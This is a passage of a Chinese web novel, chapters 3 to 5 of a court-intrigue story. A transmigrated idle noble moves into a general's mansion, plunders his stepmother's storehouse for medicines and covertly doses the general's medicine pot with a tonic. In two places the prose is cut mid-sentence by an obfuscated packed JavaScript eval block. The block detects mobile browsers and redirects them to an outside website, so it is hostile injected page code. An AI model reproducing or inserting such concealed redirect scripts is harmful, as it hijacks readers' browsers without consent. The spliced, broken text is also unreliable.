《皇位非我不可吗》 3. 初见 审问结束,犯人当庭无罪释放。 容倦乐呵呵和系统脑机畅聊,突然发现大督办在手下跟随中已经走到了门口,他理所当然地跟了上去。 任务简单但也得活到新皇登基。 回相府里,以后吃喝上都得格外注意,一不留神容易被药死,还要和后宅主母针锋相对,沉浸宅斗局。 想想都累得慌。 【狡兔三窑。小容,我最支持你的一集。】 容倦:“……挑个时间,给我去做版本更新。” 狡兔三窟,他要再整一个窟。 前方,手下严厉制止了容倦继续前进。 “干爹。”容倦看着瘦高的背影,叫得很自来熟。 大督办并未回头,微微侧目命令步三:“带他去隅中那里住下。” 隅中是什么,容倦不知道,反正目测自己要四迁了。 系统懒得更新,又为他喝彩:【小容,你好厉害。一天换了四个地方睡觉!】 从相府睡到客栈,再下到大狱,现在又要挪窝。 换来换去,总能换到安乐窝。 容倦也十分满意,满分是十分的话,他给这次迁徙打九分。 至少单程有马车坐,五百米开外,能坐车谁要步行? 督办司的骏马远非市井可比,速度快还平稳,大督办一声令下,步三只能亲自带容倦过去。 一看这纨绔坐没坐姿的样子,就觉得浑身不得劲,想要给他掰正。 容倦又换了另一个没骨头的姿势,眉心紧蹙。 大概是容倦眉宇间的倦色太过明显,联系到他被毒害的的遭遇,步三稍微发了些善心,身中奇毒一副病恹恹的样子也正常。 他提醒一句:“谢将军最晚后日就会回朝,他凡事最讲规矩,你没事别去人眼皮子底下晃悠。” 将军? 容倦恍然:“原来隅中是个人。” “……” 听步三言语中流露出的推崇,显然这位不是什么凡夫俗子。 事关未来的房东,还是有必要了解一下的。 步三起初以为容倦是辱骂,脸一下沉了起来,但看他不断询问,确定对方是真不知情。 “你是梁人吗?”他冷嘲问。 容倦认真:“我是梁朝的纨绔,每天吃喝玩乐,两耳不闻窗外事。” 他再度虚心求教房东资料:“请你让我做个人吧!” 步三今天的额角已经不止一抽了。 容倦全是痕迹地套话,很快有了初步了解。 隅中是这位谢将军的字。 谢晏昼十四岁随军出征,仅仅两年便得掌军之权,立下赫赫战功。如今他不过二十出头,尚未成家,听说谢晏昼回朝,宫中已经在提前筹备宴会,届时会有不少王侯大臣带家中女眷出席。 不过这位年轻的军神也并非完全一帆风顺,七岁时父亲便战死沙场,不久后母亲重病撒手人寰。 后来他被与父亲同窗的大督办收为义子,在战场九死一生后逐渐展露才华。 “边关常年动荡,乌戎善战,先帝都曾低头过数次。” 步三口气越说越冷:“谢将军主战,容相主和,右相的阻挠可是延误过好几次战机。” 容倦听出了冷嘲热讽。 恨屋及乌,和相府有关的一切人等都会是所有将士的眼中钉肉中刺。 如今谢晏昼班师回朝,他日子能好过才有鬼。 马车停下,沉重漆黑的大门缓缓打开,提着灯的管家走了出来。 步三跳下去交代了两句,随后甩给容倦一个自求多福的眼神,头也不回地驾车离开。 容倦跟在管家后面。 提灯光亮有限,乌云遮月,整座府邸又大又空,前庭直接被改造成了演武场,后面大的可以跑马,完全没有一点居住的人气。 府中下人更是少的可怜,从姿态上看,似乎都是练家子。 “你住西院,日常不要乱跑去其他屋子。”管家颇为冷淡地交代了一句。 容倦发誓:“我的人品,你放心。” 将军府又凉又静,堪称天选懒人疗养圣地,给钱都不跑。 管家走后,容倦扫了眼新居。 可能因为将军快要回朝,四处都做了一遍洁净工作,他简单洗漱一番,打了个呵欠躺上榻:“早点关机,明早我们还要躺着去催债。” 【啥?】 系统没得到回应。 容倦撂下一句话后,秒睡。 · 翌日,除了个别人,大家都在早起。 天子要早朝,百姓需工作。今日的朝会更是十年一日的精彩,大臣们早早就听说了出自相府的一出好戏。 右相之子当街认爹,意外卷进谋杀案,反而暴露了其身中剧毒。每一件拆开,都是能让一众人哗然的程度! 大梁曾一度废除丞相制度,但自文帝起,又复立丞相。 到了今上又有不同,丞相权利被一份为二,右相容承林位高权重,督办司的大督办则位同左相,尚书令的职权不断被降低。 两位大员分庭抗礼多年,一个主战一个主和,斗得不可开交。 聊到兴头隐秘处,百官恨不得用唇语交流。 苏太傅第一次主动靠近大督办,神情严肃:“传言是否属实?” 大督办颔首。 “好,好一个容承林。”得知自己女儿险些嫁给一个命不久矣的夫婿,苏太傅气得一宿没睡,真要如此,他女儿最后还会落下一个克夫的名声。 所有的议论声戛然而止。 殿外鸣钟击鼓,官员们恭敬迎接圣驾。 当今天子没有遗传先帝风采,相貌平平,胜在看上去似乎很有亲和力。 他端着一副温和的模样,才刚坐在龙椅上,苏太傅便立刻站出来,竟是要直接弹劾右相。 皇帝还留恋着昨晚嫔妃的温柔乡,听完没有说处不处理,反而先看向大督办,神态夸张:“恭喜爱卿喜得贵子。” 整个朝堂都安静了一瞬。 除了丞相,当前朝廷就是皇帝的一言堂。 圣上都这么说了,右相又不在朝,他之派系的官员不敢直接出言顶撞皇帝。 半晌,大臣们只能硬着头皮站出来,齐声附和:“恭喜大督办喜得贵子。” 大督办似乎早就猜到了这一幕,他如往日一般站在大臣前列,一声声恭贺中,能清楚地洞悉每个人的想法,包括皇帝的。 不过是又一次的和稀泥,维护朝堂平衡。 前段时间右相风头压过他,这段时间皇帝便又抬举他。 大督办不禁觉得有些无趣,忽然有些好奇昨天那位喜欢出其不意的少年人在干什么。 …… 日晒三竿,贵子还没起床。 一直到太阳快晒屁股,他终于爬了起来,优哉游哉地吃饭,然后雇了二十辆马车出门。 马车整整齐齐停靠在相府外。 右相夫人听说后赶紧带着人出来看是怎么回事,短短一日,她经历了大喜大悲。 天知道她听到容恒崧被带去督办司后有多高兴,谁知事情当晚就迎来反转。 现在谣言越传越难听,坊间已经有人在喊她毒妇。 此时此刻,右相夫人郑婉无比庆幸丈夫和儿子不在京城,起码给了她一个缓冲的余地。 “崧儿。”面对回府的少年,她强挤出一丝微笑,避重就轻说:“你受苦了。” 说着走过来用故作关怀的声音道:“督办司的话不可全信,挑拨离间的事情他们没少做过。” 容倦嗯嗯着道:“从小母亲待我极好,我心里有数。” 和小时候一样好糊弄,郑婉这才松了口气,语气硬气了几分。 “我派去接你的人,说督办司把你安置在了其他地方住,这要是被你父亲知道了可不得了。得赶紧……” 容倦没理会她拿便宜爹压自己,打断道:“我寻了一名医,最近在外面治病,其余等父亲回来再说。” 眼看郑婉还要说话,容倦意味深长道:“大夫说我现在身子弱,随时可能倒下。” 越说,他越是一脸忧愁:“万一回府我出了什么事,不明真相的人以为是您做了什么,就不好了——” “我这都是为了您好啊。” 郑婉一愣。 后面的嬷嬷也一个激灵,不得不说,道理还挺对。 就这副弱不禁风的样子,真可能随地乱死。 演完了母子情深,容倦图穷匕见:“名医说我这病想要治好,需要大量天材地宝吊着,所以特意来回府取一些。” 郑婉直觉哪里不对,还没反应过来,容倦已经命管家带路去库房。 绕过回廊,前方是府中重地。 右相日常并不避讳收礼,大梁近几十年来,有些地方甚至已经开始光明正大搞捐官。 两位家丁合力才推开沉重的大门,各种珍宝玉器堆叠,金碧辉煌,容倦第一次见识到什么叫抄家要抄三天。 他先让丫鬟搬来椅子,自己躺在院中的摇摇椅上。 今日阳光刚刚好,适合小晒,零散的树荫投落在脸颊,容倦半阖着眼指挥说:“先来份鹿茸……” 丫鬟下意识看向后赶来的郑婉。 不过是几味药材,郑婉想了想,还是点了头。 这一点头,换来了狮子大开口! “血灵芝三盒,千年老参十根,冬虫夏草百斤,”容倦张开‘血盆大口’,源源不断报着药名:“肉苁,金鞭七,八角莲,铁皮石斛……” 下人们搬运的脚步都快跟不上。 太阳角度一点点偏移,虽然不涉及太多金银珠宝,但眼睁睁看着看到库房被搬空一角,郑婉终于忍不了了。 她咬着牙道:“崧儿,是药三分毒,这么多药材都吃了,对你百害而无一利。” 容倦认真解释:“大夫特意强调,必须要用这些做药引,不然我哪能知道的这么全面。” 一个不学无术的纨绔子弟,确实不可能一夜之间突然了解这么多名目,特别是还有一些稀有药材。 “外面的人知道母亲舍弃这么多天材地宝,只为给我换续命的希望,一定会很感动。” 他顿了一下,玩味道:“届时我若有个三长两短,旁人也知道,您尽力了。” 穿越这么多次,他继续轻松不重样地报出数十余种珍贵草药的名字。 除此之外,容倦又索要了一些兽皮,珍贵的燃香等等,美名曰不能受风寒,日常需要安神。 二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326096|183225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十辆马车,最终被塞得满载满实,容倦恹恹地起身,随便指了两个下人跟着离开。 “先这样吧,有需要我再过来。” 佯装看不到女人想要活生生吞了他的目光,容倦很严谨,赶紧叫来人。 “咦?车顶不是还有空位,快,给它盖上去两件貂。” 大热天的别把车给冻着了。 郑婉彻底控制不住表情了,此刻外面却传来嘈杂声。 本来气就没处撒,她面色不善道:“去看看都在吵什么?!” 京城达官贵人很多住在同一区,周边严禁吵闹,更何况现在还夹杂着鼓乐之音。 嬷嬷快步出去,不久匆匆跑回来汇报。 她似乎还打听来一些其他消息,低语间用一种幸灾乐祸的目光看向容倦那边。 另一边,容倦眼中只有自己的车队,没仔细听。 此行目的已经达到,他挥一挥衣袖,走出了下次再来的步伐。 …… 外城两侧此刻全是震天的欢呼声,大梁积弱多年,国库空虚,文官纷纷主和,一度险些割地求存。 此次大捷,意义非凡,百姓激昂的情绪几乎抑制不住,热情夹道相迎。 “乌戎大败,我们可是狠狠出了口恶气。听说谢将军率亲兵突袭敌营,火烧粮草,还削了乌戎南部落首领的脑袋。” “圣上龙心大悦,天子恩典,特许将军多带一千亲兵回朝。” 有文人见状泛酸道:“谢晏昼是大督办的义子,一丘之貉罢了。” “今上太过恩宠武将,着实令人担忧啊。” 比起赫赫战功,谢晏昼杀伐太过,常常为文人墨客诟病。 尤其是他手下赫赫有名的银甲军,所到之处常常尸山血海,令敌人胆寒。 言语贬低间,大军终于入城,太阳被高空云层遮蔽。 巍峨城墙下只看到一排重甲士兵,盔甲打落的阴影让他们看上去一个个面无表情。前方精锐军士的视线不时扫过高地,防止有暗袭。 整支军队全程肃穆前行,本来要抛花的百姓不自觉放下了胳膊。 这位少年将军控马经过长街时,单手按着佩刀,发梢偶尔随骏马同频晃动。 先前大放厥词的文人,在看到铁蹄上还沾着死人血,甚至不敢直视战马上的人。 后方囚车上押送着战俘,浑身血迹斑斑,口中说着听不懂的乌戎之语,似乎在辱骂什么。 谢晏昼并未回头,刀鞘短暂脱手砸在生锈的铁栏杆上,马受惊却又被手下紧急勒停。 这一松一紧间,战俘惯性咬断了小半截舌头,场景十分骇人。 街道上的气氛彻底安静下来。 待军队走远,众人只剩一阵心惊肉跳。 军队其实早在一天前便已抵达,但要先请旨再做安排。圣上已经上恩准谢晏昼不用即刻回宫面圣,明日宫中会专门设宴。 围观的人大幅减少,一名军官才开口道:“将军,督办那边传信,说朝廷关于下半年的粮饷审批下来了,另外……” 军官顿了一下,语速飞快而古怪:“督办又认了一名义子,正借住在您府中。” 具体原因不知情,但当听到容相之子如今借住在将军府时,比起震惊,周围军士更多是厌恶。 他们虽然常年驻守边陲,也听说过这位丞相之子的恶名。性情残暴,欺男霸女,纵容恶仆欺压百姓,军营中不乏一些将士被欺凌后无处伸冤,惨遭报复才不得已去从军。 亲信冷笑:“您看要不要找个法子……” 谢晏昼却是抬手制止下属禀告,不想在不重要的事情上浪费时间商议,让他继续详说军务。 军官连忙肃穆表情,认真说起军饷一事。 军队没有在街上耽误太久,谢晏昼只带了一部分亲兵回府,其余两千重军押送战俘直抵京师驻地。 快到府时,前方忽然传来沉重的车轱辘声,军官反射性停止说话,摸向腰间武器。 其余人也齐刷刷警戒抬头看去。 不看不要紧,一眼望去不少人都目露诧异。 前方,不知何处驶来的马车如江水般浩浩汤汤行进,因为超载走得格外缓慢。 车队已经先一步抵达了将军府门口,雇佣来的马夫们忙碌卸货,流水似的将一个个价值连城的箱子搬入府邸。 “小心点。”从相府跟来的小厮指挥着,“你知道里面的东西有多贵吗?卖了你也赔不起。” “那一箱抬快点,药材经不起暴晒。” “再找个人一起抬啊,百斤的冬虫夏草,一个人能抬动吗?” 就连那大箱子都镶金嵌银,乍一看去绵延数里,富贵人家嫁娶时的十里红妆也不过如此。 在军士们怔愣的眼神中,车顶盖貂的马车内缓缓伸出一只极为冷白的手,车帘一角被掀起。 一名穿松垮红袍的少年郎下车,手上慵懒抱着个刚薅来的玉枕。 迎面马鬓飘扬,容倦好巧不好车架停在谢晏昼的骏马前。 他被呛了下,险些当场打了个喷嚏。 容倦后退一步,冷不丁瞧见前方严肃铁血的武将。 原来是房东回来了。 带着流水的宝贝,他立刻眉眼一弯,主动打招呼:“将军好啊。” 4.诧然 口中问着将军好,容倦的视线却是自下而上打量。 神驹啊。 这匹马帅呆了! 谢晏昼所骑战马唤银啸,银色毛发如山间雪浪,可日行千里,快如流星。 容倦盯着看了好一会儿,随后才落定目光在谢晏昼面上。 出乎意料年轻的一张面庞,束高冠,额发全部后梳,一双瞳仁天生偏淡微窄,鼻挺而直,衬得轮廓更加疏冷。 很帅,比起自己还差亿点。 系统:【比我也差一点,他排第三。】 一人一统习惯性抬举自己。 如今那眼尾的余光正轻易扫过他,不作停留。 不过谢晏昼的面无表情,对比后面牵马亲信的一脸厌恶好多了。 亲信冷笑:“小公子让远点,银啸在战场上可是撞断过敌军首领的肋骨。” 话还没说完,随着谢晏昼一下马,先前神气的银啸忽然朝着容倦靠近,主动贴近蹭了蹭。 这是动物非常亲密和信任的表示。 亲信脸色一僵。 容倦倒是很平静地享受马儿的亲昵。 有的人天生很招动物喜欢,科学的解释是和脸型,头发茂密程度等有关,还有更玄学的磁场一讲。 作为在场唯一一个披头散发的,他在这方面绝对是集大成者。 天然因素加上系统入驻,磁场确实和一般人不同。 银啸的贴近让谢晏昼终于对容倦投入了些许关注,可惜这目光绝不算是友善。 “容承林的儿子?” 大庭广众直呼丞相的名字,恐怕全京城也找不到第二个人。 因为那些流光溢彩的宝箱,容倦一张脸跟着闪耀:“我早跑娘的儿子,大督办的义子。” 张口闭口就是你爹的儿子,多不礼貌啊。 他很会攀关系,还笑着补充说明:“将军的义弟兼房客。” 一句义弟说出来,街上的热风好像都冷了几度,不知道谁咽了下口水,大家顷刻间全部哑然。 亲信都稍微退后了一步,只觉得这京城的富贵子弟们安逸太久,愚蠢到说话不过脑袋。 谢晏昼在军中待了太久,确实很久没见到这么放肆的人。 外貌绝世,衣冠不整,口无遮拦—— 因为太没规矩,以至于眼前人身上,看不到任何和他那奸臣爹相似的地方。 “将军府不留闲人。” 行伍里讲的不留人,不是把人赶出去,而是刀下不留人。 沉着杀气的锐利嗓音压下来,容倦面不改色心不跳:“我很勤劳的。” 谢晏昼不知道有没有听到他的话,已经迈步进入府邸。 战马还在一蹄三回首,看上去是真的很亲容倦。 一想到这浑小子要踏足将军的地盘,几名军官直犯膈应,忍住出手的冲动问亲信:“要不要给他个下马威?” 看着战马那副恋恋不舍的样子,亲信没好气道:“马都要跟人跑了,还威什么?” 拜系统所赐,容倦现在这幅毒素侵害的身体五感不错。 他耳朵尖抖了抖,捕捉到了亲信的话。 容倦突然想吃威化饼干了。 【我也想吃加密病毒了。】 无视那些异样厌恶的眼神,一人一统站在府外叹气。 …… 晚上谢晏昼和军士们小聚片刻,府中时不时能传来一些军士的笑骂声,推杯换盏的热闹和隔壁院的冷清形成鲜明对比。 谢晏昼常被多诟病行事残酷,连行军之风也一样,在军营里经常实施相当严苛的军法。 容倦不知道他行军打仗时是如何,至少闲暇时看着是有平易近人的一面。 “他还挺大方的,我多占了几间房也没意见。” 先前跟来的小厮,容倦还了对方卖身契,让他自由,更让自己说话自由。 否则身边一直跟着人,说话都要顾忌再三。 此刻他正吹着热茶坐在榻上,感慨自己喜提了几间房。 当然,谢晏昼没搭理他鸠占鹊巢,更可能的原因是直接把自己当空气了。 “搬运来的好东西太多了,一屋装不下啊。”容倦手虚点着密密麻麻的宝箱:“一个,两个……” 躺在金窝银窝中数累了,他终于开始考虑正事,慢慢细数起这次任务可能有的版本答案。 系统穿越的节点是梁末,若是皇子篡位,不会直接改朝号。 “我下大牢那日,留意过街上的物价。” 依照他的穿越经验,如果民不聊生,各地会出现起义军,京城的粮价物价也将跟着飞涨,这些情况都没出现。 现在这种风平浪静,更像是熟人作案,整个王朝从内部瓦解。 不过目前接触过的人还太少。 容倦:“普通侦探破案都有三个嫌疑人,我这三缺一……嗯,篡位嫌疑人一号,便宜爹。” 嬷嬷只说丞相有事离京,具体是什么不得而知,直接离京一段时间的,一般除了省亲,就是流放。 便宜爹明显两种都不是,这就更反常。 “篡位嫌疑人二号,谢晏昼。” 容倦是越看谢晏昼越可疑,执意留下也是想要多观察一下。 “此人毫无顾忌直呼便宜爹的名字,背后还有大督办这个干爹做靠山,本身完全不在意名声,堪称反贼模版。” 系统觉得很有道理:【但他具备的条件你都有诶。】 容倦:“AI生成的笑话吗?” 系统得意:【AI没那么抽象,我现编的。】 一人一统哈哈大笑。 【为什么不把大督办列进去?】 容倦:“可能性不大。” 根据口口最新听的墙角,大督办疑似伤了身子,如果说是装的,至少从二十年前就要装,未免有点太夸张了。 没有子嗣还去搞篡位的概率,在这个时代着实不大。 不过事无绝对,容倦想了想,掏出小本本,还是给加上了。 他们的这份自娱自乐总共只持续了一日,第二天原本为谢晏昼特设的宫宴忽然推迟,大清早的,外面传来管事的催促,容倦稀里糊涂被叫醒过去接旨。 他强撑着眼皮,低头走路:“早起晦气一天。” 刚说完,撞上了人。 谢晏昼冷冷看着他。 容倦:“……” 果然早起容易出事故。 好在死亡凝视只持续了三秒钟,宣读的太监站在台阶上开始读圣旨。 洋洋洒洒说了一堆,大意是讲右相此行意外发现了一位王爷谋财祸心,并及时到收集证据,不日将会回朝。 皇帝也不知道怎么想的,明知道军部和右相不睦,非要等对方回来一同参与宫宴,说是要一同庆贺。 容倦听得莫名其妙。 这圣旨和他有什么关系? 宣读完圣旨,长白眉毛的太监扫了容倦一眼:“这位就是容相爷的儿子吧,当真是一表人才。” 容倦被急匆匆叫来,头发还散乱着,哪里和这几个字沾边。 当一个人胡说八道表赞美时,引出来的绝对不是什么好事。 太监很快笑呵呵道:“圣上特意交代,小公子也要出席宫宴。” 容倦指了指自己,一脸问号。 太监点头,表示确实是他。 “我去,”容倦抒发感情后问,“我去,坐哪桌?” 宫宴有明确的位置划分,左右前后身份地位一目了然,任何阶级都不得僭越,他无官阶,特批过去是坐大督办那桌,还是丞相那桌? 太监笑意更深了:“圣上说,随你。” 古往今来,唯一一个支持宫宴在线选座的,但容倦并不骄傲,甚至想骂一句。 待太监一走,容倦朝谢晏昼的方向挪步。 同样是早起,昨晚才和部下饮酒过的谢晏昼,比睡了快十个小时的容倦看上去都精神利落。 别人怕谢晏昼,但容倦骨子里是缺乏敬畏的,这点对谁都一样。 异世来客站在未来度量现在,潜意识里多少是有些优越感的。 再者,只要不犯大错,谢晏昼再狠,也不可能随意杀死一名朝廷大员的嫡子。 所以容倦毫无心理负担地搭话问:“请问有办法不去吗?我爹要是知道我搬空了小半个相府,会宰了我。” 回答他的是一道无情的背影。 谢晏昼对容倦只有两个印象:初见时美轮美奂,还有,很吵。 美轮美奂更多时候是形容艺术品,而容倦在他眼里,也确实就是个物件,厌屋及乌,为了日后的清净,谢晏昼已经考虑随便安插个理由,随手将这艺术品摔碎,然后命人清扫出去。 【小容,他看你的眼神有点残酷。】 容倦这会儿思量着其他事情,边走边嘀咕:“如果我爹在路上不小心伤风就好了。那就可以延长归程,去不了宫宴。” “伤筋动骨一百天,万一瘸了那就更妙了。” 谢晏昼忽一顿足,容倦险些二度撞他背上。 来自头顶的眼神就像在看一个珍稀动物。 面对容倦那真实不掺一点水分的期许眼神,他最后只说了四个字:“祝你好运。” 往书房走的时候,谢晏昼隐约还能听到背后‘神仙保佑’‘祖宗保佑’等祷告,表情从冷嘲到嘴角勾了勾。 右相当真是养了个好儿子。 反正他是没见过哪个后世子孙求祖宗保佑另一个子孙出事的。 一直到书房,谢晏昼嘴角的弧度平缓下来。 “容恒崧。” 督办司递来更为详细的个人资料,谢晏昼一目十行浏览完。 过往的劣迹斑斑,如今很详细地陈列在纸上。 大督办将对方打发来自己这里,并非随性而为。谢晏昼清楚其心思,容承林老奸巨猾,用亲儿子打窝布局也很正常。 将军府中机密要件不少,如果此人真有二心,行动是早晚的事。 门外,亲信敲门得到应允后进来,瞄到桌上摊着过往那些为非作歹的记录,顿时牙痒痒道:“小小年纪就作恶多端,要我说,一军棍砸死都不为过。” 谢晏昼合上纸张:“让薛韧来见我。” …… “原身到底作恶过多少?都传到万里外的军营去了。” 这两日凡是要来和谢晏昼说军务的将士,看到他都故意装作小声其实瓮声瓮气议论过往劣迹,眼神如豺狼般恨不得将他撕裂了。 每当这时候,容倦就会站定祈福,祈祷亲爹路上伤寒,晚点归京。 那些将士便目瞪口呆,甚至忘了谩骂。 系统每天在看它的口口小说,熬夜头晕眼花:【小容,我们该考虑下任务了。】 “这任务就是熬鹰,熬到新皇继位看看是谁就行。” 容倦脱鞋斜倚在榻上,如它所愿说正事:“不过我们住的这屋子方位挺有趣的,离书房和谢晏昼的居室都不远。” 将军府本来布局就不好,后院被改成了跑马场,剩下房子全挤一处,即便如此,府里住处也不少。 容倦似笑非笑:“真讨厌一个人,应该把他放下人屋附近住才是。” 现在更像是钓鱼执法。 【所以将军不讨厌你?】系统惊呼:【小容,他该不会对你一见钟情了?】 和恋爱脑没话讲,容倦转身开始午睡。 和他的懒惰比起来,另一边谢晏昼简直是斯巴达严酷纪律的执行者。 每天看书到深夜,早上天还没亮就在那里舞刀弄枪,无论是金属碰撞,还是操练马时的动静都很大。 加上谢晏昼的几个亲信以前是老将军收养的孤儿,没有成家也跟着住在府里,时不时还有堪称军训的训练报数声。 睁眼看到了启明星,容倦起床气爆发,嚎了一嗓子:“没人告扰民吗!” 天边鸟雀惊飞。 马场上,正在拭刀的谢晏昼听到这饱含怨念的啼叫,动作停了下,重新操练。 府中总管站在一边。 错觉吗?管事沉思着,总感觉将军听到后好像故意把动静弄大了些,有一说一这行为也有些幼稚,就像是逗小孩。 很快,他又摇头,将军哪有这么无聊。 下午府中更吵,很多朝臣亲自过来走动送礼。 之后数日,往来庆贺的人越来越多,谢晏昼似乎终于觉得不妥,开始闭门称病谢客。 他是消停了,容倦开始动起来了,当天出乎意料没有午睡,反而在珍贵的药材箱里挑挑拣拣。 系统给用最高科技的AI合成了药方,离体帮忙称克重抓药:【这补药受众覆盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329110|183225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率高达百分九十九,强身健体,增长智慧。】 不幸的是,毒素扎根体内的容倦是那百分之一。 【你喝这个没啥用。】 “不是给我,给那位谢将军的。” 【小容,你脑子被黑客攻击了?】 他每天吵醒你,你还要炖补药给人喝? 容倦:“谢晏昼应该是真病了。” 确切说,受伤可能性更大。 太监宣旨时,容倦就隐约嗅到了谢晏昼身上有股淡淡的药味,故意靠近后确定没闻错,舞刀弄枪怕是用来遮掩受伤的幌子。 这两天对方肆无忌惮开门收礼更是坐实他的想法。 谢晏昼不可能那么蠢,多半是为了现在的闭门找个理由。 病就病了呗,系统仍旧不知道容倦黄鼠狼起早给鸡拜年的原因。 “笨,宫宴那天,我要坐他那桌。” 谢晏昼得赶紧好起来,有他在,好歹话题一部分会在军队上,不然全在认父上了。 “而且,这关乎到我的人生梦想。” 容倦梦想做一条快乐的咸鱼,人为什么能在吃喝玩乐中找到快乐?那是因为忙过,苦过。 所以他需要一个标准参照物。 “这还要说到我第三次被吵醒时,懊恼之余,我忽然进化出了新的乐趣。” 容倦神情陶醉:“想到有人在我睡觉时得闻鸡起舞,天!我又幸福了。” 【……】地,你又变态了。 系统总觉得他还有其他目的,宿主做事永远让人摸不着头脑。 可一旦行动,目的性极为强烈。 容倦也确实还有一个送药的重要原因没说出来,这一点他准备在宫宴上再做确认。 系统全方位工作,最后帮忙磨好药粉。 容倦清楚黄鼠狼,呸,自己去送,谢晏昼也不会喝。 于是他蹑手蹑脚溜达去小厨房,悉心将药粉浸润最近明显使用过的药罐内壁,默默做完好人好事后,回去让系统写在了日记里。 ———— 窗外树木摇曳,屋内不设屏风,角落堆砌着不少前两日送来的礼品。 谢晏昼赤裸着上身,紧实的肌肉上创口十分狰狞,大夫正为他更换纱布。 “好在箭上无毒,只需静养几日便可无碍。” 如果容倦在场,一定会认出这位大夫正是见过一面的仵作。 薛韧医毒双绝,是整个督办处药理上第一能人。 “此事对外不要声张。”谢晏昼披上外衫。 知道他受伤,哪怕不重,一些人也会借题发挥延长他留京的时间。 薛韧应好,视线却被屋内一只站在木鸟架上的鹦鹉吸引,喙似弯钩,极长的拖尾十分炫目。 这只进口的金刚鹦鹉是官员送的礼品之一,受生母影响,谢晏昼很喜欢鸟雀。 薛韧随口说了句:“送礼人有心了。” 谢晏昼还穿着战靴,闻言缓缓走到桌边。 修长的指尖稍稍用力,木架边缘被敲击了一下:“是很有心。” 他平静注视鹦鹉:“我命手下试验了很多种可能,最后发现它在听到‘爱卿’等一些用词时,会……” “万岁,将军……万岁!” 鹦鹉偏绿松石色的翅膀振动,突然叫起来。 薛韧面色大变。 皇帝偶尔会来府中,怀念一下老友,也就是谢晏昼的父亲,万一被对方听到了,后果不堪设想。 武将本就容易被疑,不知道的还以为他有什么大逆不道的想法。 谢晏昼将送礼人的名字写下交给薛韧,是礼部的一位官员。 至于剩下的,督办司那边自然会处理。 他顺手端起刚送来的药碗,在薛韧不解的目光中,放到鸟笼里用药喂鹦鹉。 起初这鹦鹉不喝,直到渴极了,脑袋主动往药碗里钻。 “这是另外一只会害人的小鸟。” 不久前盯着容倦的护卫来汇报,发现其鬼鬼祟祟去小厨房给药罐动手脚。 想到护卫绘声绘色地汇报,谢晏昼视线凝固在鹦鹉华丽的羽毛上。 果然,自古越美丽的东西越有毒。 薛韧明显没他冷静,听到后怒道:“狼子野心,和他父亲一样!” 本来他还觉得容倦被投毒注定早夭,曾起过几分怜悯的心思,现在看来,如此歹毒还是早死早超生为佳。 谢晏昼倒是不在意,什么暗杀下毒,这些小伎俩他早就见多了,一年没个百回也有十回。 闭门谢客的几日,谢晏昼过着药不能停的生活。 那些有问题的药,全部被扔给了鹦鹉。 自从知道药罐被动了手脚,薛韧每日都会岔开时辰单独再给谢晏昼熬一副汤药,并且已经将这件事汇报给大督办。 因为督办司要优先处理礼部送鹦鹉的那只官员,容倦这里被暂时搁置了几日。 不久,京中发生一件大事。 礼部侍郎张贾被查出在上年的科举考试中徇私舞弊,天子震怒,当日便命令督办司严查。 正常官员哪里受的了督办司的手段,才受了点皮肉伤,张贾竟然被活生生吓疯了。 督办司在其府内搜出大量钱财,可惜张贾一疯,大部分钱财来源不明。 由于牵扯太广,担心朝堂不稳,督办司在皇帝暗示下宣布结案。大理寺复核一过,甚至没有等到秋后,张贾当日便被问斩,速度快得令人咂舌。 而就在张贾血溅三尺时,又一件大事发生了——右相归京了! 宫中早就安排好要设宴,所有王公贵族需得参加。 当天下午,谢晏昼穿着官服,站在屋内鸟架下。 对于礼部这么快出事,他没有一点意外,督办司有天子单独开的权限,流程一旦走起来就会相当快。 他真正意外的是张贾生前送的那只金刚鹦鹉,在被喂了一段时间有问题的汤药后,居然好端端活着。 仔细观摩一二,谢晏昼确定没看错。 “咕!” 这鹦鹉不但活得精神抖擞……甚至还肥了。 “咕!!” 一个大鹏展翅,再收敛翅膀挺起脑袋,金刚鹦鹉姿态挺拔如松,绒毛覆盖的大小胸肌壮硕异常,两个黑豆眼睥睨俯视着谢晏昼。 “……” 5.宫宴 谢晏昼正盯着二次发育的鹦鹉,让薛韧来了一趟。 待薛韧检查完,才离开没多久,外面突然传来叩门声。 一道红色身影扒在门边,半个脑袋探进来。 容倦是这府中最自由,也最不自由的。 去哪里都有眼睛盯着他,但又因为某人的钓鱼执法,哪里都能去。 谢晏昼看过来。 容倦:“我们该去见我爹了。” “……” 谢晏昼自然不会和政敌的儿子同处一辆马车。 此生都不会。 在他冰冷的目光中,容倦知道了答案。 其实他也就是因为想坐一桌,象征性邀请一下,客套完了,也就完了。 转身回到自己屋子,时间还早,容倦躺在床上打发时间。 另一边,谢晏昼看了眼放有重要军务的书房,对守在暗处的亲卫道:“盯紧他。” 说完,便出了府邸。 门口的马车已经候着,包括容倦那辆,提前雇好了车夫。 路过看到后排马车的车顶时,哪怕是谢晏昼,也有一瞬间的默然。 京城里的官宦子弟,竟然到了这种奢侈的地步。 … 一炷香的时间后,容倦才从自己屋中走出来,收拾出发。 自夜禁制度实施,闹市早已衰落,街道上提前收摊闭灯,只剩皇城光亮如旧。 配有官衔标志的马车或轿子纷纷朝那最辉煌地方而去,一辆接着一辆,直到很久之后,街道上重新安静下来,一辆造景特殊的马车姗姗上路。 